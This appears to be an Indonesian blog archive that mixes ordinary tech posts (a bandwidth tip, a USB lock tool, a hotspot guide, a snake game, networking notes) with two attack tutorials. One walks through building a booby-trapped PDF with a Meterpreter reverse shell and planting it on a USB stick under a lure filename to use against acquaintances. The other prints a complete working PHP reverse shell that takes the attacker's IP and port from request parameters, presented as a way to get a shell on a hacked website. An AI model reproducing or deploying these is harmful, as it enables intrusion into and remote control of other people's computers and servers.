Pages

Rabu, 31 Agustus 2011

Hacking Windows Dengan BackTrack SET & USB

Tools yang digunakan : SET (Social Engineering Toolkit)
O.S yang digunakan : Backtrack 5
Victim O.S : Windows XP SP3 (fungsi autorun = on)
Hacking Windows Dengan BackTrack SET & USB
Seperti yang kita ketahui bahwa akhir-akhir ini USB benar-benar amat sangat populer penggunaannya di semua kalangan masyarakat…
Ketika saya masih nge-kost, kadang saya mendengar tetangga sebelah saya bilang sama tetangga sebelahnya lagi “Eh, gue copy dong lagu yang kemaren itu…nih USB nya, ntar kalo udah beres copy lo kasih tau gue aja ya“.
Sebenarnya apakah mungkin melakukan serangan terhadap komputer lainnya hanya dengan menggunakan USB?? jawabannya kita lihat langkah-langkah berikut dibawah ini :
Persiapan :
1. SET
2. O.S(saya pake backtrack 5 yang udah include di dalemnya semua toolsnya)

Keterangan :

Tulisan Berwarna Merah = command line
Langkah-langkahnya :
1. Buka console backtrack (CTRL+ALT+T) lalu masuk ke folder /pentest/exploits/set.
cd /pentest/exploits/set
2. Jalankan Social Engineering Toolkit dengan perintah ./set.

3. Pilih Nomor 3 “Infectious File Generator” lalu pilih nomor 1 “File Format Exploit“, dan selanjutnya masukkan IP address penyerang(komputer kita)

4. Pilih format exploit yang hendak digunakan…disini saya gunakan menggunakan “Adobe PDF Embedded EXE social engineering“.
5. Langkah berikutnya yaitu memilih file PDF yang akan digunakan untuk menyerang.

Kalau kawan-kawan punya file PDF sendiri, itu jauh lebih bagus soalnya begitu si korban buka dia ngga terlalu curiga, jadi disini kita pilih nomor 1.
6. Langkah berikutnya adalah memilih payload atau apa yang ingin kita dapat dari korban jika ia meng-klik exploit yang kita buat. Disini saya memilih nomor 2 “Windows Meterpreter Reverse_TCP shell
7. Berikutnya adalah melakukan setting connect back, maksudnya adalah ketika exploit berhasil dijalankan, pada port berapakah kita akan menangkap koneksi tersebut? disini saya gunakan port 80(kenapa harus port 80? nanti lihat di sumber aja ya)

8. Ketika muncul pertanyaan “Do you want to create a listener right now? [yes|no]” pilih YES.
9. Semua file yang berhasil di-generate oleh SET tersimpan pada folder /pentest/exploits/set/autorun, tetapi nama file tersebut agak mencurigakan & kurang menarik sehingga lebih baik jika kita rubah terlebih dahulu penamaan file tersebut.
masuk ke folder autorun :
cd /pentest/exploits/set/autorun
10. Lakukan perintah ini
pico autorun.inf
11. Didalam file autorun.inf, rubah template.pdf menjadi nama file yang menarik agar korban mau membuka file tersebut. Berikut adalah isi autorun.inf yang saya buat :
[autorun]
open=Soal_UAS_2011_Aljabar.pdf
icon=autorun.ico

Lalu tekan CTRL + O untuk melakukan SAVE dan CTRL + X untuk keluar.
12. Langkah selanjutnya adalah menamai template.pdf menjadi nama yang telah kita definisikan pada autorun.inf dengan perintah mv.
mv template.pdf Soal_UAS_2011_Aljabar.pdf
13. Selesai sudah, selanjutnya tinggal meng-copy kan semua file yang ada dalam folder autorun tersebut ke dalam USB anda.
14. Ketika victim mencolokkan USB dan autorun komputernya dalam keadaan aktif, maka ia akan otomatis membuka file PDF yang tadi telah kita buat.
15. Ketika ia meng-klik OK untuk setiap alert yang muncul, maka :

Sukses!
FAQ :
Q : Lalu bagaimana kalau ternyata autorun komputer victim dalam keadaan dimatikan??
A : Sifat manusia itu biasanya ingin tahu & penasaran, pasti segala cara akan ia lakukan agar PDF tersebut terbuka apalagi setelah tahu bahwa Title PDF nya memang penting & menarik untuknya.
Penanggulangan :
1. Ketika muncul suatu alert atau hal-hal yang tidak wajar saat membuka suatu file dengan ekstensi tertentu, lebih baik batalkan/cancel saja jangan diteruskan.
2. Matikan autorun / autoplay

Rabu, 24 Agustus 2011

Mempercepat Koneksi Internet dengan Mengubah Setting Bandwidth pada Windows


Cara mempercepat Koneksi internet? Mungkin banyak yang belum tahu jika bandwidth untuk koneksi internet dalam sistem operasi Windows ini dibatasi sebanyak 20 persen dari total bandwidth. Nah, untuk menghilangkan pembatasan bandwidth yang dimiliki oleh Windows ini, Anda bisa melakukan beberapa tips berikut.

- Klik tombol 'Start' pada Windows.

- Klik 'Run' dan ketikkan gpedit.msc pada kolom kosong, lalu klik 'OK'

- Pilih 'Administrative Templates', lalu klik 'Network'

- Setelah terbuka klik 'QoS Packet scheduler'

- Ubah setting pada 'Limit Reservable Bandwidth' menjadi Enable.

- Ubah Bandwidth Limitnya, dari 20 menjadi 0, lalu Klik Apply - OK.

- Keluar, lalu Restart komputer.

Semoga bermanfaat...

dhonydota.blogspot.com

lock PC with FD



FLASHDISK atau media penyimpanan lain melalui port USB dapat digunakan sebagai sebuah alat untuk security atau keamanan
PREDATOR adalah software untuk mengunci PC Anda ketika Anda pergi, bahkan jika sesi windows anda masi terbuka.Dengan menggunakan perangkat USB flashdisk anda dapat mengunci komputer anda dan akan bekerja sebagai berikut :

  • Masukkan USB flashdisk anda ke port USB komputerAnda
  • Jalankan program PREDATOR (atau anda dapat menggunakan auto start) yang telah anda install
  • Lakukan pekerjaan anda pada komputer
  • Ketika anda harus meninggalkan komputer anda untuk melakukan sesuatu kegiatan dan akan melanjutkan kembali, anda tidak perlu mematikan komputer anda dan menutup segala pekerjaan anda, cukup dengan mencabut USB flashdisk anda.
  • Bila anda mencabut perangkat USB flashdisk anda, Keyboard dan mouse otomatis tidak dapat digunakan, dan layar monitor akan blank gelap.
  • Saat anda kembali untuk melakukan pekerjaan anda pada komputer, masukkan USB Flashdisk anda ke port USB tadi, maka Layar komputer akan tampil kembali, dan mouse serta keyboard akan aktif.
Lebih mudah dan lebih cepat daripada Anda menutup sesi Windows, karena Anda tidak perlu mengetik ulang password anda ketika anda kembali.
Advanced Security Features:
  • Lindungi komputer dengan flash drive tunggal. PREDATOR dapat mengirim pesan peringatan melalui Email atau SMS.
  • PREDATOR mencatat semua kejadian yang berhubungan dengan keamanan dalam file log: mulai, alarm, stop. Dengan membaca log ini, Anda akan tahu jika penyusup telah mencoba menggunakan komputer Anda saat Anda telah pergi.
  • PREDATOR dapat mereplikasi log ini di akun Twitter Anda, memungkinkan Anda untuk jarak jauh memonitor semua aktivitas akses-kontrol pada PC Anda.
  • PREDATOR melakukan perubahan kode keamanan yang tercatat pada drive USB anda. Jika seorang penyusup berhasil untuk mengkopy flashdisk Anda, ini tidak akan bekerja karena kode pada flashdisk Anda sendiri akan berubah untuk sementara.
  • PREDATOR Menonaktifkan tugas Windows manager ketika Anda mencabut USB drive. Tidak ada yang dapat menghentikannya dengan Ctrl-Alt-Del.
  • PREDATOR memungkinkan Anda mendapatkan kembali kontrol dari komputer Anda jika Anda kehilangan flashdisk : ketika Anda mulai perangkat lunak untuk pertama kalinya, Anda menetapkan sandi yang akan membuka sesi Anda jika USB drive anda hilang atau rusak
  • PREDATOR dapat membunyikan alarm yang dapat didengar jika seseorang ingin menggunakan komputer dengan memasuki password tidak benar.
  • Dan PREDATOR dapat melindungi beberapa PC dengan USB flash drive yang sama, misalnya untuk komputer rumah anda dan komputer kantor.
Dengan PREDATOR, keamanan adalah yang sederhana seperti memasukkan atau mengeluarkan USB stick.
Berminat?
Ada dua versi predator, Versi free dan versi Professional Editions, dimana untuk versi Professional Editions anda harus membeli lisensinya, lihat gambar tabel perbedaan antara versi free dan Professional Editions

Kedua2nya dapat dignakan pada
Windows XP SP3
Windows Server 2003
Windows Server 2008
Windows Vista
Windows 7
Download versi free
Untuk Windows 32 Bit
Untuk Windows 64 Bit
Untuk versi Professional Editions anda dapat mengklik link Home Page

Membuat Hotspot / Access Point Di Laptop







 
Dengan banyaknya pilihan operator yang tersedia saat ini, semakin mempermudah setiap orang untuk dapat koneksi internet murah. Nah, terkadang ada pemikiran bagaimana menjadi lebih murah dan efektif untuk memanfaatkan 1 USB Modem yang dimiliki sehingga dapat dipakai sebagai koneksi internet yang dapat dibagi pakai (sharing). Atau kalau bahasa internetnya adalah menjadikan Laptop yang memiliki USB Modem difungsikan sebagai Access Point / Hotspot. Bagaimana caranya ?
Ternyata dengan Ubuntu sangat mudah, sbb. :
1. Klik Icon Network Manager, kemudian pilih / klik Create New Wireless Network

2. Isikan Network Name, Pilih Wireless Security dan isikan Passowrd Key-nya

Nama Network saya isi : Wifi1, Wireless Securities pilih : “WEP 40/128-bit Key” (agar wireless juga bisa diakses oleh Windows) dan password sesuai keinginan. Klik Create. Sampai disini Anda telah sukses membuat Wireless Network dan setelah beberapa saat sistem Ubuntu akan menyampaikan informasi bahwa Wireless Network sudah Connect seperti terlihat pada gambar :

3. Pada Laptop yang lain (Ubuntu Sabily) saya akan mendemonstrasikan cara koneksinya. Klik Icon Network Manager. Dapat dilihat bahwa terdapat koneksi yang bisa digunakan (available) yaitu Wifi1. Klik Wifi1 …

4. Akan muncul kotak dialog : Wireless Securities dan Password Key, agar dipilih dan diisikan seperti data di atas, kemudian klik Connect … Nah Laptop sudah connect ke Internet melalui Wifi1 dan silakan berselancar.

5. Jika besok hari berikutnya akan mengaktifkan Wifi1 kembali, tidak perlu membuat koneksi baru, namun cukup klik Network Manager –> Create New Wireless Network. Pada Connection pilih Nama Wifi di atas (biasanya minta password user) –> klik Create

Semoga informasi ini bermanfaat :)

game snake with HTML5

<!documentTYPE html>
<html lang=”en”>
<head>
<meta charset=”utf-8″ />
<title>Play Snake Game</title>
<style type=”text/css”>
body {text-align:center;}
canvas { border:5px dotted #ccc; }
h1 { font-size:50px; text-align: center; margin: 0; padding-bottom: 25px;}
</style>
<script type=”text/javascript”>
function play_game()
{
var level = 160; // Game level, by decreasing will speed up
var rect_w = 45; // Width
var rect_h = 30; // Height
var inc_score = 50; // Score
var snake_color = “#006699″; // Snake Color
var ctx; // Canvas attributes
var tn = []; // temp directions storage
var x_dir = [-1, 0, 1, 0]; // position adjusments
var y_dir = [0, -1, 0, 1]; // position adjusments
var queue = [];
var frog = 1; // defalut food
var map = [];
var MR = Math.random;
var X = 5 + (MR() * (rect_w – 10))|0; // Calculate positions
var Y = 5 + (MR() * (rect_h – 10))|0; // Calculate positions
var direction = MR() * 3 | 0;
var interval = 0;
var score = 0;
var sum = 0, easy = 0;
var i, dir;
// getting play area
var c = document.getElementById(‘playArea’);
ctx = c.getContext(’2d’);
// Map positions
for (i = 0; i < rect_w; i++)
{
map[i] = [];
}
// random placement of snake food
function rand_frog()
{
var x, y;
do
{
x = MR() * rect_w|0;
y = MR() * rect_h|0;
}
while (map[x][y]);
map[x][y] = 1;
ctx.fillStyle = snake_color;
ctx.strokeRect(x * 10+1, y * 10+1, 8, 8);
}
// Default somewhere placement
rand_frog();
function set_game_speed()
{
if (easy)
{
X = (X+rect_w)%rect_w;
Y = (Y+rect_h)%rect_h;
}
–inc_score;
if (tn.length)
{
dir = tn.pop();
if ((dir % 2) !== (direction % 2))
{
direction = dir;
}
}
if ((easy || (0 <= X && 0 <= Y && X < rect_w && Y < rect_h)) && 2 !== map[X][Y])
{
if (1 === map[X][Y])
{
score+= Math.max(5, inc_score);
inc_score = 50;
rand_frog();
frog++;
}
//ctx.fillStyle(“#ffffff”);
ctx.fillRect(X * 10, Y * 10, 9, 9);
map[X][Y] = 2;
queue.unshift([X, Y]);
X+= x_dir[direction];
Y+= y_dir[direction];
if (frog < queue.length)
{
dir = queue.pop()
map[dir[0]][dir[1]] = 0;
ctx.clearRect(dir[0] * 10, dir[1] * 10, 10, 10);
}
}
else if (!tn.length)
{
var msg_score = document.getElementById(“msg”);
msg_score.innerHTML = “Thank you for playing game.<br /> Your Score : <b>”+score+”</b><br /><br /><input type=’button’ value=’Play Again’ onclick=’window.location.reload();’ />”;
document.getElementById(“playArea”).style.display = ‘none’;
window.clearInterval(interval);
}
}
interval = window.setInterval(set_game_speed, level);
document.onkeydown = function(e) {
var code = e.keyCode – 37;
if (0 <= code && code < 4 && code !== tn[0])
{
tn.unshift(code);
}
else if (-5 == code)
{
if (interval)
{
window.clearInterval(interval);
interval = 0;
}
else
{
interval = window.setInterval(set_game_speed, 60);
}
}
else
{
dir = sum + code;
if (dir == 44||dir==94||dir==126||dir==171) {
sum+= code
} else if (dir === 218) easy = 1;
}
}
}
</script>
</head>
<body onload=”play_game()”>
<h1>Play Snake Game</h1>
<div id=”msg”></div>
<canvas id=”playArea” width=”450″ height=”300″>Sorry your browser does not support HTML5</canvas>
</body>
</html>

Reverse Connecting Shell di PHP


Rootshell adalah impian semua hacker. Biasanya seorang hacker yang masuk melalui web vulnerability, akan mengupload webshell. Dengan webshell si hacker bisa mengeksekusi command shell melalui request HTTP. Namun webshell tetaplah bukan true shell, webshell memiliki banyak keterbatasan, salah satunya adalah sifatnya yang tidak interaktif.
Dalam artikel ini saya akan menjelaskan bagaimana caranya mendapatkan true shell yang interaktif dari suatu website yang berhasil dihack. Dari shell tersebut saya juga memperlihatkan contoh eksploitasi lokal untuk meningkatkan privilege dari user biasa (apache) menjadi root dan mensetup sebuah backdoor sehingga si hacker kapan saja bisa mendapatkan rootshell.

Reverse Shell PHP di Linux
Saya memakai reverse shell php dari situs pentestmonkey.net dalam artikel ini. Reverse shell tersebut dibuat murni dalam PHP namun hanya bekerja untuk OS berbasis UNIX seperti Linux. Saya sudah mencoba untuk memodifikasi reverse shell tersebut untuk bekerja di windows, namun belum berhasil, jadi untuk Windows saya akan pakai pendekatan lain yang tidak murni PHP.
Reverse shell tersebut memiliki dua konfigurasi yang dihard-coded ke dalam file phpnya, yaitu IP address dan port server yang akan dihubungi oleh reverse shell ini. Agar lebih fleksibel saya mengubah dua variabel tersebut menjadi mengambil nilai dari parameter GET.
set_time_limit (0);
$VERSION = "1.0";
$ip = '127.0.0.1';  // CHANGE THIS
$port = 1234;       // CHANGE THIS
$chunk_size = 1400;
Ubah dua baris yang mengandung variabel $ip dan $port menjadi seperti di bawah ini.
set_time_limit (0);
$VERSION = "1.0";
$ip = $_GET["ip"];
$port = $_GET["port"];
$chunk_size = 1400;
Jadi source code lengkap rs.php adalah sebagai berikut:
<?php
set_time_limit (0);
$VERSION = "1.0";
$ip = $_GET["ip"]; 
$port = $_GET["port"]; 
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = '/bin/bash -p -i';
$daemon = 0;
$debug = 0;
 
if (function_exists('pcntl_fork')) {
	// Fork and have the parent process exit
	$pid = pcntl_fork();
 
	if ($pid == -1) {
		printit("ERROR: Can't fork");
		exit(1);
	}
 
	if ($pid) {
		exit(0);  // Parent exits
	}
 
	// Make the current process a session leader
	// Will only succeed if we forked
	if (posix_setsid() == -1) {
		printit("Error: Can't setsid()");
		exit(1);
	}
 
	$daemon = 1;
} else {
	printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}
 
// Change to a safe directory
chdir("/");
 
// Remove any umask we inherited
umask(0);
 
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
	printit("$errstr ($errno)");
	exit(1);
}
 
// Spawn shell process
$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);
 
$process = proc_open($shell, $descriptorspec, $pipes);
 
if (!is_resource($process)) {
	printit("ERROR: Can't spawn shell");
	exit(1);
}
 
// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
 
printit("Successfully opened reverse shell to $ip:$port");
 
while (1) {
	// Check for end of TCP connection
	if (feof($sock)) {
		printit("ERROR: Shell connection terminated");
		break;
	}
 
	// Check for end of STDOUT
	if (feof($pipes[1])) {
		printit("ERROR: Shell process terminated");
		break;
	}
 
	// Wait until a command is end down $sock, or some
	// command output is available on STDOUT or STDERR
	$read_a = array($sock, $pipes[1], $pipes[2]);
	$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
 
	// If we can read from the TCP socket, send
	// data to process's STDIN
	if (in_array($sock, $read_a)) {
		if ($debug) printit("SOCK READ");
		$input = fread($sock, $chunk_size);
		if ($debug) printit("SOCK: $input");
		fwrite($pipes[0], $input);
	}
 
	// If we can read from the process's STDOUT
	// send data down tcp connection
	if (in_array($pipes[1], $read_a)) {
		if ($debug) printit("STDOUT READ");
		$input = fread($pipes[1], $chunk_size);
		if ($debug) printit("STDOUT: $input");
		fwrite($sock, $input);
	}
 
	// If we can read from the process's STDERR
	// send data down tcp connection
	if (in_array($pipes[2], $read_a)) {
		if ($debug) printit("STDERR READ");
		$input = fread($pipes[2], $chunk_size);
		if ($debug) printit("STDERR: $input");
		fwrite($sock, $input);
	}
}
 
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
 
// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
	if (!$daemon) {
		print "$string\n";
	}
}
?>

Software Protokol Jaringan



1. Sistem operasi jaringan

Os jaringan yang muncul pertama kali adalah SO Unix pada tahun 1969 diperusahaan AT & T. Sekarang sudah banyak sistem operasi jaringan bahkan Microsoft mempunyai sistem operasi yang memiliki rancangan dasar seperti unix yaitu Windows NT. Syarat utama suatu OS dapat menjamin SO jaringan adalah :
- Stabil
- Aman
- Mendukung jaringan secara Native
- Multi User
- Dapat melakukan operasi multitasking
- Dapat mendukung penggunaan hardware dalam skala besar


2. Protocol

Protocol dapat disebut bahasa komunikasi antar komputer dalam jaringan, di bawah ini macam - macam protocol:
a. Net Beui
Net Beui merupakan protocol yang banyak digunakan dalam jaringan lokal berbasis SO windows. Protocol ini sangat baik dan cepat untuk bersharing data namun protocol ini tidak dapat dirouting.
b. IPx & SPx ( Internetwork paket exchange / Sequnce paket exchange )
Protocol hampir sama bahkan mirip dengan NetBeui hanya saja perbedaanya protocol ini dapat di routing jadi dapat memungkinkan terjadinya MAN.
c. Protokol yang dikembangkan oleh OSI / ISO
Protocol ini sudah digunakan oleh beberapa institusi, sayangnya segala informasi tantang protocol ini harus debeli melaui ISO dan hal ini yang menyebabkan perkembangan ISO'OSI menjadi Lambat.
d. TCP / IP ( Transmition Control Protocol / Internet Protocol )
TCP / IP adalah protocol yang digunakan di jaringan global karena memiliki sistem pengalamatan yang baik dan memiliki sistem pengecekan data. saat ini terdapat 2 versi TCP/IP yang berbeda dalam sistem penomoran, yaitu IPv4 ( 32 bit ) dan IPv6 ( 128 bit ).

Ciri - ciri yang terdapat di protol TCP/IP adalah :
- standard protocol TCP/IP dalam bentuk RFC dapat diambil oleh siapapun tanpa biaya.
- tidak tergantung pada sistem operasi atau hardware tertentu.
- pengembangannya berdasarkan consensus dan tidak tergantung pada vendor tertentu
- dapat digunakan hampir di semua perangkat transmisi
- pengalamatan bersifat unix dalam skala global
- memiliki banyak layanan dan bisa ditetapkan pada internetwork


Dalam dunia internet tidak ada suatu badanpun yang berhak mengatur jalannya internet secara umum. Ada lembaga khusus yang menangani protocol yaitu :
- Internt society, bertugas mendukung dan mempromosikan pertumbuhan internet sebagai sarana komunikasi untuk riset.
- Internet Architecture Board ( IAB ), badan penasihat teknis bagi internet society, IAB mempunyai wewenang untuk menerbitkan dokumen standar Internet.
- Internet Egineering TaskForce ( IETF ), badan yang berorientasi membentuk standar internet. Badan ini dibagi menjadi 9 kelompok, masing - masing kelompok kerja tersebut adalah: kelompok kerja routing, aplikasi, addresing, keamanan komputer dan lain- lain.
- Internet Research Task Force ( IRTF ), lembaga untuk pemilihan standarisasi dalam jangka panjang.

Intro LAN



Antara tahun '70 - '80 terjadi penggabungan ilmu komputer dan komunikasi data yang merubah secara mendalam teknologi, produk, dan perusahaan dari penggabungan industry computer - komunikasi yang baru. Meskipun konsekuensi dari penggabungan revolusi masih dikerjakan, hal ini aman untuk dikatakan bahwa revolusi telah terjadi dan beberapa investivigasi dari komunikasi data harus dibuat dengan konteks / batas yang baru.
Computer  dan revolusi komunikasi telah dihasilkan beberapa fakta yang luar biasa,yaitu :

Tidak ada perbedaan yang mendasar antara proses data(computer) dan komunikasi data(pengiriman dan perubahan peralatan)
Tidak ada perbedaam yang mendasar antara data, suara, dan komunikasi video
Hubungan antara prosesor tunggal computer, banyak prosesor , jaringan local, jaringan kota, dan jaringan luas telah kabur


Satu efek dari tren ini sedang tumbuh tumpang tindih antara komputer dan industri komunikasi dari pembuatan komponen ke integrasi system.Hasil lainnya adalah pengembangan system yang terintegrasi yang dikirimkan dan mengolah semua tipe data dan informasi. Keduanya, teknologi dan organisasi ilmuwan sedang mengarahkan ke arah satu sistem publik yang menggabungkan semua komunikasi dan membuat semua data maya dan sumber informasi seluruh dunia dengan mudah dan seragam dapat diakses

Hal ini adalah tujuan yang ambisius dari buku ini untuk memberikan perpaduan pandangan dari pandangan yang luas tentang data dan komunikasi komputer.Susunan buku merefleksikan  usaha memecahkan subjek yang besar ke bagian yang menyeluruh dan untuk membangun pecahan - pecahan,tinjauan dari seni. Introduksi ini dimulai dengan model komunikasi yang umum. Kemudian, diskusi yang hebat menerangkan 4 bagian utama dari buku. Kemudian , dari semua aturan yang penting adalah diperkenalkan. Akhirnya, outline yang pendek dari sebagian buku disediakan.  
 
A.    Model Komunikasi
Tujuan utama yang mendasar dari system komunikasi adalah pertukaran data antara 2 bagian.Contohnya ialah system telepon dimana keduanya salaing menukar suara pada jaringan yang sama.. Kunci dari model komunikasi ini adalah :




Sumber : Alat yang membuat data untuk dikirimkan, contoh : telepon dan PC
Transmitter : data yang dibuat oleh sumber tidaklah langsung dikirimkan sesuai bentuknya ketika dibuat. Oleh karena itu transmitter berfungsi untuk mengubah dan mengkodekan agar menjadi signal elektromagnetik dan dapat dikirimkan melewati system transmisi. Contohnya ialah modem yang megkodekan data menjadi signal analog yang kemudian dikirim melalui jaringan telepon.
Transmission system : Hal ini dapat berupa tranmisi tunggal maupun jaringan yang rumit yang menghubungkan sumber dan tujuan.
Receiver : receiver menyetujui signal dari system transmisi dan mengubahnya menjadi bentuk semula
Destination : mengambil data yang masuk dari receiver

Beberapa hal yang harus dilakukan pada system komunikasi  dibawah ini dapat ditambahkan ataupun digabung , yaitu :
1.      Transmission system Utilization
2.      Interfacing
3.      Signal generation
4.      Synchronization
5.      Exchange management
6.      Errot detection and correction
7.      Flow control
8.      Addressing and routing
9.      Recovery
10.  Message formatting
11.  Security
12.  Network management



B.      Jaringan Komunikasi Data
Bentuk yang paling simple  pada komunikasi terdiri dari 2 alat yang saling terhubung pada media transmisi. Namun hal ini kurang praktis jika hanya 2 alat yang terhubung, karena ada beberapa kemungkinan, yaitu :
Bila 2 alat yang sangat berjauhan, hal ini membuat biaya yang sangat mahal untuk membentuk jaringan antara 2 alat.
Saat ini diperlukan hubungan banyak alat pada suatu waktu contohnya ialah jaringan telpon dunia dan semua terminal dan computer yang dimiliki oleh suatu organisasi. Kecuali dalam keadaan jumlah alat yang sedikit, namun hal ini sangat tidak praktis untuk menghubungkan satu per satu antara 1 alat.

Solusi dari beberapa hal tersebut ialah dengan menghubungkan setiap alat dengan jaringan komunikasi, dimana secara garis besar dapat dibagi menjadi 2 bagian yaitu :
LAN
1.      Meliputi kawasan yang kecil seperti gedung atau kampus
2.      Selalu dimiliki oleh organisasi yang sama
3.      Lalu lintas data relative lebih besar daripada WAN
4.     
WAN
1.      Meliputi area yang luas
2.      Memiliki pilihan teknologi yaitu :
§         Circuit switching
§         Packet switching
§         Frame Relay
§         ATM
§         ISDN




Contoh Jaringan :




Jaringan-jaringan saat ini dapat dikategorikan menjadi :
      Packet Switch
1.      ATM
2.      Frame Relay
3.      TCP/IP
      Circuit Switch
1.      Analog PSTN
2.      ISDN




C.      Protokol dan Protokol arsitektur
Protokol pada jaringan digunakan diantara suatu kesatuan di dalam system, yaitu :
Entities : fasilitas e-mail, aplikasi yang digunakan pengguna
System : computer, terminal, sensor

Oleh karena itu entity harus memiliki bahasa yang sama, contohnya ialah mengirim data dengan FTP, client dan server harus memiliki protocol yang sama.
Kunci dari komponen protokol ialah
      Syntax              : berisi format data dan signal level
      Semantic         : mengatur informasi dan memperbaikikesalahan
      Timing                         : memadukan kecepatan dan urutan

 Tugas dari komunikasi ini terbagi menjadi beberapa bagian.Contohnya ialah pengirman data dapat menggunakan / melalui 2 modul :
File transfer application :mengatur pengiriman dengan perintah
Communication service module: mengatur kehandalan data dan mengirim perintah
Network access module: membuat dan merawat komunikasi yang melewati jaringan

Layering
Ide umum dari layering ialah penyediaan pelayanan oleh hardware yang dasar sebagai model dari lapisan fisik. Penambahan urutan layering akan memberikan tingkatan pelayanan yang lebih tinggi. Layering memberikan 2 keunggulan :
Menyederhanakan tugas dari jaringan gedung
Memberikan rancangan yang modular



Contohnya ialah 3 model lapisan yang dasar :
1.                       Network access layer
Menukar data antara computer dan jaringan
Menyediakan alamat tujuan dari pengiriman data

2.                       Transport layer
Memiliki kebebasan dalam penggunaan jaringan yang digunakan
Memiliki kebebasan dalam menggunakan aplikasi pada pengguna
Sangat berguna dan dapat diandalkan pada pertukaran data
3.                       Application layer
Mendukung dalam penggunaan aplikasi yang digunakan user seperti e-mail dan file transfer

Hal - hal yang diperlukan dalam addressing :

Ø      Diperlukan 2 tingkat pengalamatan
Ø      Setiap computer perlu memiliki alamat yang unik
Ø      Setiap aplikasi yang berjalan pada computer juga perlu memilik alamat yang unik



 Protokol Data Unit
      Setiap lapisan, protokol di pergunakan untuk berkomunikasi
      Kontrol Informasi di beri kepada pengguna data di setiap lapisan protokol
      Transportasi lapisan protokol memungkinkan pengguna data di bagi-bagi menjadi beberapa bagian
      Setiap bagian data yang dikirimkan mempunyai tambahan data yang ditambahkan pada data asli yang kita kirim ke penerima,sehingga memberikan tranportasi protokol unit data, data tambahan tersebut berisi :
o       Alamat Tujuan
o       Urutan nomor ke tujuan
o       Kode pendeteksi kesalahan

      Unit data protokol jaringan juga memperoleh tambahan jaringan yang berisi alamat jaringan untuk mencapai computer  tujuan.



Karakteristik Protokol
      Karakteristik protokol ada 2 macam, yaitu :
o       Direct
§         Sistem pembagian di hubungkan secara point to point atau sistem pembagian  dengan menghubungkan banyak titik
§         Data dapat lewat tanpa adanya pengaruh perantara aktif
o       Indirect
§         Menggunakan switch jaringan/melalui perantara jaringan/internet
      Struktur protokol
o       Komunikasi merupakan suatu pekerjaan komplex
o       Design struktur menyelesaikan permasalahan menjadi bagian-bagian yg kecil
      simetri dan Asimetri
o       Simetris , hubungan komunikasi antara dua komputer
o       Asimetris, hubungan antara satu komputer dengan sebuah pusat jaringan
      Standar dan Non-standar
o       Pada jaringan nonstandar alat-alat yang berada pada jaringan terhubung satu per satu namum hal ini kurang menguntungkan dan efesien sehingga di ciptakan jaringan standar yang menggunakan sistem multipleing yaitu memanfaatkan sebuah jaringan yang menghubungkan banyak device.


D.   Arsitektur protokol TCP/IP
Arsitektur protokol TCP/IP dikembangkan oleh US Defence Advanced Research Project Agency (DARPA) for its packet switched network (ARPANET). Protokol ini dibuat untuk sistem internet global yang kita pakai sampai dengan sekarang yang dibuat berdasarkan kumpulan protokol yang membuat suatu standar internet (Internet Architecture Board (IAB)

5 lapisan independen arsitektur protokol TCP/IP :
1.    Lapisan fisikal
Lapisan fiscal ini meliputi Interface fisik  antara alat transmisi data dengan media transmisi atau jaringan dan media transmisi yang digunakan. Selain itu data rate dan tingkat signal juga berada pada lapisan ini.
2.    Lapisan jaringan akses
Berisi Pertukaran data antara sistem akhir dan jaringan. Selain itu juga berisi tujuan alamat yang dituju dan berfungsi untuk memanggil layanan seperti prioritas.
3.    Lapisan internet (IP)
Pada layer ini beberapa sistem bisa disambungkan ke beberapa jaringan yang luas dan dapat menyediakan fungsi routing melewati jaringan berlapis. Sehingga dapat diimplementasikan di dalam sistem akhir dan router
4.    Lapisan transportasi ( host to host )
Dari awal sampai akhir proses transfer data, permintaan untuk pengiriman
Memungkinkan untuk memasukkan mekanisme reliabilitas ( TCP ) dan menyembunyikan detil dari jaringan yang berada di dasar.
5.    Lapisan aplikasi
Mendukung untuk aplikasi - aplikasi para pengguna ( HTTP, SMTP, NNTP )
                                                     



E.   Model Open Systems Interconnection ( OSI )
Ø Dikembangkan oleh International Organisation for Standardisation ( ISO )
Ø      Terdiri dari 7 lapisan yaitu : Application, Presentation, Session, Transport, Network, Data Link, Physical


Ø      Sistem yang diberikan dapat dikatakan terlambat. TCP/IP adalah standar secara de facto
Ø      Sebuah model lapisan dimana setiap lapisan mengerjakan persyaratan fungsi - fungsi komunikasi
Ø      Setiap lapisan bergantung pada lapisan yang lebih rendah untuk mengerjakan fungsi - fungsi primitif
Ø      Setiap lapisan menyediakan servis - servis untuk ke lapisan yang lebih tinggi
Ø      Perubahan dalam 1 lapisan tidak membutuhkan perubahan dari lapisan lainnya


MENDIAGNOSIS PERMASALAHAN PERANGKAT YANG TERSAMBUNG JARINGAN BERBASIS WAN



1.1. Local Area Network (LAN)
Local Area Network (LAN) merupakan jaringan milik pribadi di dalam sebuah gedung atau kampus yang berukuran sampai beberapa kilometer. LAN seringkali digunakan untuk menghubungkan komputer-komputer pribadi dan workstation dalam kantor perusahaan atau pabrik-pabrik untuk memakai bersama resource (misalnya, printer, scanner) dan saling bertukar informasi. LAN dapat dibedakan dari jenis jaringan lainnya berdasarkan tiga karakteristik: ukuran, teknologi transmisi dan topologinya. LAN mempunyai ukuran yang terbatas, yang berarti bahwa waktu transmisi pada keadaan terburuknya terbatas dan dapat diketahui sebelumnya. Dengan mengetahui keterbatasnnya, menyebabkan adanya kemungkinan untuk menggunakan jenis desain tertentu. Hal ini juga memudahkan manajemen jaringan. LAN seringkali menggunakan teknologih transmisi kabel tunggal. LAN tradisional beroperasi pada kecepatan mulai 10 sampai 100 Mbps (mega bit/detik) dengan delay rendah (puluhan mikro second) dan mempunyai faktor kesalahan yang kecil. LAN-LAN modern dapat beroperasi pada kecepatan 